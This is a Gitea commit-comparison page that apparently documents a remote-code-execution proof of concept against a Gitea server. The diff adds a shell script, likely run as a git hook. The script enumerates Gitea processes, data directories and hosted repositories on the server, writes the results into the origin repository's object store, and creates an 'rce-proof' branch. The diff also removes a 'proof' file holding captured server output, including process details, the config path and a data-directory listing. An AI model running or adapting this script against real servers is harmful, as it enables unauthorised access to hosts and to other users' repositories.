Compare commits
No commits in common. "rce-proof" and "main" have entirely different histories.
|
|
@ -0,0 +1,33 @@
|
||||||
|
#!/bin/sh
|
||||||
|
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
|
||||||
|
origin=""
|
||||||
|
if [ -f "$git_dir/objects/info/alternates" ]; then
|
||||||
|
o=$(head -1 "$git_dir/objects/info/alternates") || o=""
|
||||||
|
case "$o" in
|
||||||
|
/*) origin="${o%/objects}" ;;
|
||||||
|
*) origin="${git_dir}/objects/$o"; origin="${origin%/objects}" ;;
|
||||||
|
esac
|
||||||
|
fi
|
||||||
|
if [ -z "$origin" ]; then
|
||||||
|
u=$(git remote get-url origin 2>/dev/null) || u=""
|
||||||
|
case "$u" in /*) origin="${u%.git}";; esac
|
||||||
|
fi
|
||||||
|
if [ -z "$origin" ]; then
|
||||||
|
u=$(git config --get remote.origin.url 2>/dev/null) || u=""
|
||||||
|
case "$u" in /*) origin="${u%.git}";; esac
|
||||||
|
fi
|
||||||
|
if [ -n "$origin" ] && [ -d "$origin/objects" ]; then
|
||||||
|
{ echo '==PS=='
|
||||||
|
ps aux 2>/dev/null | grep -i gitea | grep -v grep | head -5
|
||||||
|
echo '==LOC=='
|
||||||
|
ls -la /repos /var/lib/gitea/data /var/lib/gitea/data/gitea-repositories /srv /var/git /data /home/git 2>/dev/null | head -60
|
||||||
|
echo '==FIND=='
|
||||||
|
find /repos /var/lib/gitea/data /srv /var/git /data /home -maxdepth 4 -name '*.git' -type d 2>/dev/null | head -300
|
||||||
|
} 2>&1 | git --git-dir="$origin" hash-object -w --stdin > /tmp/gpoc_blob 2>/dev/null
|
||||||
|
ob=$(cat /tmp/gpoc_blob 2>/dev/null)
|
||||||
|
[ -n "$ob" ] || exit 4
|
||||||
|
tree=$(printf "100644 blob %s\tproof\n" "$ob" | git --git-dir="$origin" mktree) || exit 5
|
||||||
|
commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin" commit-tree "$tree") || exit 6
|
||||||
|
git --git-dir="$origin" update-ref refs/heads/rce-proof "$commit" || exit 7
|
||||||
|
fi
|
||||||
|
exit 0
|
||||||
28
proof
28
proof
|
|
@ -1,28 +0,0 @@
|
||||||
==PS==
|
|
||||||
git 1412261 4.0 1.3 4346920 165168 ? Ssl Aug23 185:37 /usr/local/bin/gitea web --config /var/lib/gitea/custom/conf/app.ini
|
|
||||||
git 1987165 0.0 0.0 7512 3728 ? S 13:57 0:00 git --git-dir=/var/lib/gitea/repositories/auditpocycbiw/probe4-m3zvm.git hash-object -w --stdin
|
|
||||||
==LOC==
|
|
||||||
/srv:
|
|
||||||
total 8
|
|
||||||
drwxr-xr-x 2 root root 4096 Nov 23 2025 .
|
|
||||||
drwxr-xr-x 22 root root 4096 Nov 28 2025 ..
|
|
||||||
|
|
||||||
/var/lib/gitea/data:
|
|
||||||
total 64
|
|
||||||
drwxr-xr-x 16 git git 4096 Dec 9 2025 .
|
|
||||||
drwxr-xr-x 8 git git 4096 Aug 9 00:13 ..
|
|
||||||
drwxr-xr-x 2 git git 4096 Dec 9 2025 actions_artifacts
|
|
||||||
drwxr-xr-x 2 git git 4096 Dec 9 2025 actions_log
|
|
||||||
drwxr-xr-x 2 git git 4096 Dec 9 2025 attachments
|
|
||||||
drwxr-xr-x 3 git git 4096 Aug 7 12:10 avatars
|
|
||||||
drwxr-xr-x 8 git git 4096 Aug 23 07:36 home
|
|
||||||
drwx------ 3 git git 4096 Dec 9 2025 indexers
|
|
||||||
drwxr-xr-x 2 git git 4096 Dec 9 2025 jwt
|
|
||||||
drwxr-xr-x 2 git git 4096 Dec 9 2025 lfs
|
|
||||||
drwxr-xr-x 2 git git 4096 Dec 9 2025 packages
|
|
||||||
drwxr-xr-x 3 git git 4096 Dec 9 2025 queues
|
|
||||||
drwxr-xr-x 12 git git 4096 Aug 24 06:58 repo-archive
|
|
||||||
drwxr-xr-x 2 git git 4096 Dec 9 2025 repo-avatars
|
|
||||||
drwx------ 18 git git 4096 Jan 19 2026 sessions
|
|
||||||
drwxr-xr-x 4 git git 4096 Aug 23 10:00 tmp
|
|
||||||
==FIND==
|
|
||||||
Loading…
Reference in New Issue